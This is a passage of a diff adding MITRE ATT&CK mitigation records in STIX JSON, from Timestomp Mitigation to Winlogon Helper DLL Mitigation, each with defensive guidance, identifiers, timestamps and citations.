"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Microsoft W32Time May 2017", + "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.", + "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings" + } + ], + "modified": "2019-07-25T12:28:05.462Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Timestomp Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--5c167af7-c2cb-42c8-ae67-3fb275bf8488", + "external_references": [ + { + "external_id": "T1099", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1099" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T12:28:38.388Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify critical business and system processes that may be targeted by adversaries and work to secure communications related to those processes against tampering. Encrypt all important data flows to reduce the impact of tailored modifications on data in transit.", + "type": "course-of-action", + "name": "Transmitted Data Manipulation Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--245075bc-f992-4d89-af8c-834c53d403f4", + "external_references": [ + { + "external_id": "T1493", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1493" + } + ], + "modified": "2019-07-25T12:28:59.970Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2019-04-24T17:03:39.689Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Due to potential legitimate uses of trap commands, it's may be difficult to mitigate use of this technique.", + "type": "course-of-action", + "name": "Trap Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--809b79cd-be78-4597-88d1-5496d1d9993a", + "external_references": [ + { + "external_id": "T1154", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1154" + } + ], + "modified": "2019-07-25T12:29:22.784Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe may not be necessary within a given environment and should be removed if not used.\n\nUse application whitelisting configured to block execution of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe if they are not required for a given system or network to prevent potential misuse by adversaries. (Citation: Microsoft GitHub Device Guard CI Policies) (Citation: Exploit Monday Mitigate Device Guard Bypases) (Citation: GitHub mattifestation DeviceGuardBypass) (Citation: SubTee MSBuild)", + "type": "course-of-action", + "name": "Trusted Developer Utilities Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--823fbfe9-b015-4bf3-9e67-d340c7373ca0", + "external_references": [ + { + "external_id": "T1127", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1127" + }, + { + "source_name": "Microsoft GitHub Device Guard CI Policies", + "description": "Microsoft. (2017, June 16). Deploy code integrity policies: steps. Retrieved June 28, 2017.", + "url": "https://github.com/Microsoft/windows-itpro-docs/blob/master/windows/device-security/device-guard/deploy-code-integrity-policies-steps.md" + }, + { + "source_name": "Exploit Monday Mitigate Device Guard Bypases", + "description": "Graeber, M. (2016, September 8). Using Device Guard to Mitigate Against Device Guard Bypasses. Retrieved September 13, 2016.", + "url": "http://www.exploit-monday.com/2016/09/using-device-guard-to-mitigate-against.html" + }, + { + "source_name": "GitHub mattifestation DeviceGuardBypass", + "description": "Graeber, M. (2016, November 13). DeviceGuardBypassMitigationRules. Retrieved November 30, 2016.", + "url": "https://github.com/mattifestation/DeviceGuardBypassMitigationRules" + }, + { + "source_name": "SubTee MSBuild", + "description": "Smith, C. (2016, September 13). Bypassing Application Whitelisting using MSBuild.exe - Device Guard Example and Mitigations. Retrieved September 13, 2016." + } + ], + "modified": "2019-07-25T12:29:49.454Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network segmentation can be used to isolate infrastructure components that do not require broad network access. Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary. Vet the security policies and procedures of organizations that are contracted for work that require privileged access to network resources.", + "type": "course-of-action", + "name": "Trusted Relationship Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--797312d4-8a84-4daf-9c56-57da4133c322", + "external_references": [ + { + "external_id": "T1199", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1199" + } + ], + "modified": "2019-07-25T12:30:35.417Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Remove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes.\n\nIdentify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Two-Factor Authentication Interception Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--e8d22ec6-2236-48de-954b-974d17492782", + "external_references": [ + { + "external_id": "T1111", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1111" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T12:30:55.775Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports. \n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "type": "course-of-action", + "name": "Uncommonly Used Port Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--a0d8db1d-a731-4428-8209-c07175f4b1fe", + "external_references": [ + { + "external_id": "T1065", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1065" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-25T12:31:21.118Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Perform regular software updates to mitigate exploitation risk.", + "type": "course-of-action", + "name": "Update Software", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "external_references": [ + { + "external_id": "M1051", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1051" + } + ], + "modified": "2019-06-11T17:12:55.207Z", + "x_mitre_version": "1.0", + "created": "2019-06-11T17:12:55.207Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.", + "type": "course-of-action", + "id": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "User Account Control", + "external_references": [ + { + "external_id": "M1052", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1052" + } + ], + "modified": "2019-06-11T17:14:35.170Z", + "x_mitre_version": "1.0", + "created": "2019-06-11T17:14:35.170Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Manage the creation, modification, use, and permissions associated to user accounts.", + "type": "course-of-action", + "id": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "User Account Management", + "external_references": [ + { + "external_id": "M1018", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1018" + } + ], + "modified": "2019-06-06T16:50:58.767Z", + "x_mitre_version": "1.0", + "created": "2019-06-06T16:50:58.767Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events. Application whitelisting may be able to prevent the running of executables masquerading as other files.\n\nIf a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .lnk, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and RAR that may be used to conceal malicious files in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).\n\nIf a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct files in a way to avoid these systems.", + "type": "course-of-action", + "name": "User Execution Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--548bf7ad-e19c-4d74-84bf-84ac4e57f505", + "external_references": [ + { + "external_id": "T1204", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1204" + } + ], + "modified": "2019-07-25T12:31:53.804Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", + "type": "course-of-action", + "name": "User Training", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "external_references": [ + { + "external_id": "M1017", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1017" + } + ], + "modified": "2019-06-06T16:50:04.963Z", + "x_mitre_version": "1.0", + "created": "2019-06-06T16:50:04.963Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Take measures to detect or prevent techniques such as [Credential Dumping](https://attack.mitre.org/techniques/T1003) or installation of keyloggers to acquire credentials through [Input Capture](https://attack.mitre.org/techniques/T1056). Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. \n\nFollow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access) \n\nAudit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized. \n\nApplications and appliances that utilize default username and password should be changed immediately after the installation, and before deployment to a production environment. (Citation: US-CERT Alert TA13-175A Risks of Default Passwords on the Internet) When possible, applications that use SSH keys should be updated periodically and properly secured. ", + "type": "course-of-action", + "name": "Valid Accounts Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--d45f03a8-790a-4f90-b956-cd7e5b8886bf", + "external_references": [ + { + "external_id": "T1078", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1078" + }, + { + "source_name": "Microsoft Securing Privileged Access", + "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.", + "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach" + }, + { + "source_name": "TechNet Credential Theft", + "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx" + }, + { + "source_name": "TechNet Least Privilege", + "description": "Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn487450.aspx" + }, + { + "source_name": "US-CERT Alert TA13-175A Risks of Default Passwords on the Internet", + "description": "undefined. (n.d.). Risks of Default Passwords on the Internet. Retrieved April 12, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA13-175A" + } + ], + "modified": "2019-07-25T12:32:31.844Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to capture video and images by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Video Capture Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--d9f4b5fa-2a39-4bdf-b40a-ea998933cd6d", + "external_references": [ + { + "external_id": "T1125", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1125" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T12:33:12.739Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Mitigation of this technique with preventative controls may impact the adversary's decision process depending on what they're looking for, how they use the information, and what their objectives are. Since it may be difficult to mitigate all aspects of information that could be gathered, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.", + "type": "course-of-action", + "name": "Virtualization/Sandbox Evasion Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--c4585911-6ecf-47b6-aa6b-a2bae30fd3f7", + "external_references": [ + { + "external_id": "T1497", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1497" + } + ], + "modified": "2019-07-25T12:33:35.694Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2019-04-19T15:44:59.302Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.", + "type": "course-of-action", + "name": "Vulnerability Scanning", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--15437c6d-b998-4a36-be41-4ace3d54d266", + "external_references": [ + { + "external_id": "M1016", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1016" + } + ], + "modified": "2019-06-06T16:47:30.700Z", + "x_mitre_version": "1.0", + "created": "2019-06-06T16:47:30.700Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Firewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "type": "course-of-action", + "name": "Web Service Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--4689b9fb-dca4-473e-831b-34717ad50c97", + "external_references": [ + { + "external_id": "T1102", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1102" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-25T12:34:04.565Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure that externally facing Web servers are patched regularly to prevent adversary access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages. \n\nAudit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network. (Citation: US-CERT Alert TA15-314A Web Shells)", + "type": "course-of-action", + "name": "Web Shell Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--bcc91b8c-f104-4710-964e-1d5409666736", + "external_references": [ + { + "external_id": "T1100", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1100" + }, + { + "source_name": "US-CERT Alert TA15-314A Web Shells", + "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.", + "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A" + } + ], + "modified": "2019-07-25T12:34:23.847Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed. Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage SMB and the Windows admin shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Windows Admin Shares Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--308855d1-078b-47ad-8d2a-8f9b2713ffb5", + "external_references": [ + { + "external_id": "T1077", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1077" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-25T12:34:42.283Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)", + "type": "course-of-action", + "name": "Windows Management Instrumentation Event Subscription Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--0bc3ce00-83bc-4a92-a042-79ffbc6af259", + "external_references": [ + { + "external_id": "T1084", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1084" + }, + { + "source_name": "FireEye WMI 2015", + "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" + } + ], + "modified": "2019-07-25T12:35:09.565Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Disabling WMI or RPCS may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI. Restrict other users who are allowed to connect, or disallow all users to connect remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)", + "type": "course-of-action", + "name": "Windows Management Instrumentation Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--ba2ec548-fb75-4b8c-88d6-d91a77a943cf", + "external_references": [ + { + "external_id": "T1047", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1047" + }, + { + "source_name": "FireEye WMI 2015", + "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" + } + ], + "modified": "2019-07-25T12:35:34.895Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Disable the WinRM service. If the service is necessary, lock down critical enclaves with separate WinRM infrastructure, accounts, and permissions. Follow WinRM best practices on configuration of authentication methods and use of host firewalls to restrict WinRM access to allow communication only to/from specific devices. (Citation: NSA Spotting)", + "type": "course-of-action", + "name": "Windows Remote Management Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--3e9f8875-d2f7-4380-a578-84393bd3b025", + "external_references": [ + { + "external_id": "T1028", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1028" + }, + { + "source_name": "NSA Spotting", + "description": "National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018.", + "url": "https://www.iad.gov/iad/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm" + } + ], + "modified": "2019-07-25T12:35:58.687Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.\n\nIdentify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.", + "type": "course-of-action", + "name": "Winlogon Helper DLL Mitigation", + "object_marking_refs": [ + 